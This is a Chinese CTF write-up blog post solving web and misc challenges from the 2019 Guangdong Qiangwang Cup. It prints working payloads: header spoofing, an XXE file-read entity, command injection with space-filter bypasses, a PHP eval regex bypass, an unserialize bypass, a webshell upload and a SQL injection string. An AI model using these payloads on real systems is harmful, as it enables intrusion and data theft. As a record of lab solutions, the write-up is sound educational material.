2019广东省强网杯

2019-09-10 15:09:00
ctf - 省赛强网杯 - wp

web

小明又被拒绝了

题目只有这样一张图片,查看源码也什么都没有。从题目看就是它被拒绝访问了,那我们修改一下请求头,添加一个X-Forwarded-For:127.0.0.1,发现:

okNot Admin

将cookie项改为1即可。

okflag{xxasdasdd_for}

XX?

扫描目录发现有源码泄露

[15:31:20] 200 - 310B - /index.php~

查看/index.php~发现源码如下:

<?php
#鍏抽棴Warning
error_reporting(E_ALL^E_NOTICE^E_WARNING);

$xmlfile = file_get_contents('php://input');
$dom = new DOMDocument();
$dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);

$creds = simplexml_import_dom($dom);
$user = $creds->user;
$pass = $creds->pass;

echo "CTF:" . "<br>" . "$user";
?>

xxe攻击

<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "php://filter/read=convert.base64-encode/resource=flag.php" >]>
<creds>
    <user>&xxe;</user>
    <pass>mypass</pass>
</creds>

CTF: PD9waHAKLy9mbGFne0lVeWFzZDgyMTMxMjMxMjM4OTB9CiA/Pgo=

base64解密即可。

<?php //flag{IUyasd8213123123890} ?>

免费的,ping一下

fuzz发现屏蔽了空格,还有大部分的命令。

linux下绕过空格的方法有:

- ${IFS}
- $IFS$9
- <
- <>

它还屏蔽了flag,所以使用*来匹配。

grep "string" filename

所以就是:

;grep${IFS}"fla"${IFS}/fla*;

或:

;grep$IFS$9"fla"$IFS$9/fla*;

取得flag:

flag{llllll_U_GeT_Th3_fl4g}

PHP

题目给的地址进入后页面如下,从中只能知道这是各ubuntu服务器:

扫一下目录,出现index.php,是一道代码审计。

<?php
error_reporting(E_ALL^E_NOTICE^E_WARNING);
function GetYourFlag(){
    echo file_get_contents("./flag.php");
}

if(isset($_GET['code'])){
    $code = $_GET['code'];
    //print(strlen($code));
    if(strlen($code)>27){ 
        die("Too Long.");
    }

    if(preg_match('/[a-zA-Z0-9_&^<>"\']+/',$_GET['code'])) {
        die("Not Allowed.");
    }
    @eval($_GET['code']);
}else{
      highlight_file(__FILE__);
}
?>

考的是绕过正则最后执行GetYourFlag这个函数

针对eval这个函数可以构建如下payload:

(~%8F%97%8F%96%91%99%90)();,进入phpinfo页面,也就是说只要把%8F%97%8F%96%91%99%90替换为GetYourFlag即可。

<?php 
echo urlencode(~'GetYourFlag');
?> 

code=(~%B8%9A%8B%A6%90%8A%8D%B9%93%9E%98)();

右键查看源码发现flag

<?php
$flag="flag{3904c5df2e894ca02a21004feb21e617}"
?>

api

扫目录发现一个api:

Post filename,and u give this api array,u can read file

根据提示构造filename然后post过去

filename={"file":"index.php"}

右键查看源码

```php <?php if(isset($_POST['filename'])){ $file=json_decode($_POST['filename'], true); if(json_last_error()){ die("sorry,json_decode error!"); }else{ if(array_key_exists("file",$file)){ if(stristr($file['file'],'f')){ die('sorry!'); }else{ echo file_get_contents($file['file']); } }else{ die('sorry,u cannot readfile'); } }

}else{ echo "Post filename,and u give this api array,u can read file"; } ?> ```

这里获取不到上面有用的东西,但是可以在api这个目录下读取文件源码。

post这个filename={"file":"../index.php"}

获取源码,再获取hack.php的源码:

```php /hack.php/ <?php class hack { public $file; function __construct($filename = '') { $this -> file = $filename; }

  function readfile() {
      if (!empty($this->file) && stripos($this->file,'..')===FALSE
      && stripos($this->file,'/')===FALSE && stripos($this->file,'\\')==FALSE) {
          return @file_get_contents($this->file);
      }
  }

} //fffffaa_not.php ?>

<?php require_once('hack.php'); echo "Api!wow"; function do_unserialize($value){ preg_match('/[oc]:\d+:/i', $value, $matches); if (count($matches)) {return false;} return unserialize($value); } $x = new hack(); if(isset($_GET['flag'])) $g = $_GET['flag']; if (!empty($g)) { $x = do_unserialize($g); } echo $x->readfile(); ?> ```

传一个序列化后的flag=O:+4:"hack":1:{s:4:"file";s:15:"fffffaa_not.php";}

url编码

?flag=%4f%3a%2b%34%3a%22%68%61%63%6b%22%3a%31%3a%7b%73%3a%34%3a%22%66%69%6c%65%22%3b%73%3a%31%35%3a%22%66%66%66%66%66%61%61%5f%6e%6f%74%2e%70%68%70%22%3b%7d

php Api!wow<?php $text = $_GET['jhh08881111jn']; $filename = $_GET['file_na']; if(preg_match('[<>?]', $text)) { die('error!'); } if(is_numeric($filename)){ $path="/var/www/html/uploads/".$filename.".php"; }else{ die('error'); } file_put_contents($path, $text); ?>

fffffaa_not.php?jhh08881111jn[]=<?php @eval($_POST['pass']);?>&file_na=2333

正则用数组绕过。

最后蚁剑连接即可。

找漏洞

这道题是我在省赛中遇到的,当时完全找不到思路。它给了源码压缩包,然而这好像是一个php框架,我并没有学过,完全不知所措。后来看了别人的wp才懂

首先是一个登录框,既然是登录框那么就有可能是sql注入,但是发现这个登录框登录不了。查看源码发现有这么一段代码:

/* database/factories/UserFactory.php*/

$factory->define(App\User::class, function (Faker $faker) {
    return [
        'name' => $faker->name,
        'email' => $faker->unique()->safeEmail,
        'password' => '$2y$10$TKh8H1.PfQx37YgCzwiKb.KjNyWgaHb9cbcoQgdIVFlYg7B77UdFm', // secertheretola
        'remember_token' => str_random(10),
    ];
});

指定了password为secertheretola

再次审查源码,发现了一个路由文件:

Route::get('/', function () {
    return view('welcome');
});
Route::get('user_testpage/{id}', 'UserController@index');

Auth::routes();

Route::get('/home', 'HomeController@index')->name('home');

Route::get('/home/profile','ProfileController@show')->name('profile');

Route::get('/home/uploadto_upload','HomeController@uploads')->name('home');

Route::post('/home/uploadss/{key}','HomeController@uploadss')->name('home');

这里有一个路由对应了UserController.php这个文件,其源码如下:

class UserController extends Controller
{
    /**
     * 展示应用的用户列表.
     *
     * @return Response
     */
    public function index($id)
    {
        $id=str_replace("select","",$id);
        $id=str_replace("union","",$id);
        $users = DB::select("select * from users where name = '$id'");
        return view('test.index', ['users' => $users]);
    }
}

这里会发现原来id是存在了sql注入,其语句为:

select * from users where name = '$id'

那么我们可以构造使得语句恒真,此时sql语句等同于select * from users,那么我们就可以获取到users表下的所有内容了。因为该文件对应路由为:user_testpage/{id},所以构造语句:

user_testpage/' or '1' = '1'%23

array:3 [▼ 0 => {#195 ▼ +"id": 1 +"name": "fM4GsTb4Nb" +"email": "aaa@aa.org" +"password": "$2y$10$.yH51pqjn5IZQ.oCSjd7S.k7TrxrGS8mQXLL5BTKWUx3rPYwgUtR6" +"remember_token": null +"created_at": null +"updated_at": null } 1 => {#197 ▼ +"id": 2 +"name": "NotAllow6171" +"email": "A Hint=key@ctf.org" +"password": "$2y$d0$O5cnweVj/zOb7nhkLRgosOr2N9qLqw.4QN05XS5EtvGIBtBNZAmzy" +"remember_token": null +"created_at": null +"updated_at": null } 2 => {#198 ▼ +"id": 3 +"name": "adminer" +"email": "admin@ctf.com" +"password": "$2y$10$Vy575.SRxhenRN9Ap5SrT.G1nQBtqW4PpWKFDMK1k0EnqaIpPji.K" +"remember_token": "NULL" +"created_at": "2019-08-05 07:56:41" +"updated_at": "2019-08-05 07:56:41" } ]

进入登录界面经过尝试,使用

admin@ctf.com和secertheretola可以登录,其他两个账户不行,但有一个A Hint=key@ctf.org应该是提示,但后面用不上,可能是环境被其他大佬搞坏了吧。

现在进入这里了。

查看路由有一个/home/profile,输入路由获取flag。

flag{Ucan_wow_easy_qaq}

misc

完美的错误

RJv9mjS1bM9MZafGV77uTyDaapNLSk6t358j2Mdf1pbCByjEiVpX

咋一看是base64,去解码发现并不是。。认为可能是base64改了默认的表,百思不得其解,这种大小写字母加上数字啥的应该就是base64吧。。

后来发现有一个base58,研究了好久,发现他把数字放到最后了,写了个脚本就爆出来了。

def base58decode(stirng):
    table = '123456789ABCDEFGHJKLMNPQRSTUVWXYZabcdefghijkmnopqrstuvwxyz'

    base = 'ABCDEFGHJKLMNPQRSTUVWXYZabcdefghijkmnopqrstuvwxyz123456789'

    get_result = ''

    the_long = 0

    for (i, c) in enumerate(stirng[::-1]):

        the_long = base.find(c) * pow(58, i)  + the_long

    while the_long >= 256:

        d, m = divmod(the_long, 256)        ##divmod(7, 2)-->(3, 1)

        get_result = chr(m) + get_result

        the_long = d

    get_result = chr(the_long) + get_result

    get_result =  get_result

    return get_result


print(base58decode("RJv9mjS1bM9MZafGV77uTyDaapNLSk6t358j2Mdf1pbCByjEiVpX"))

getflag:flag{adb88f7b70a20983833a7615fb103e01}



本文原创于HhhM的博客,转载请标明出处。



CopyRight © 2019-2020 HhhM
Power By Django & Bootstrap
已运行
粤ICP备19064649号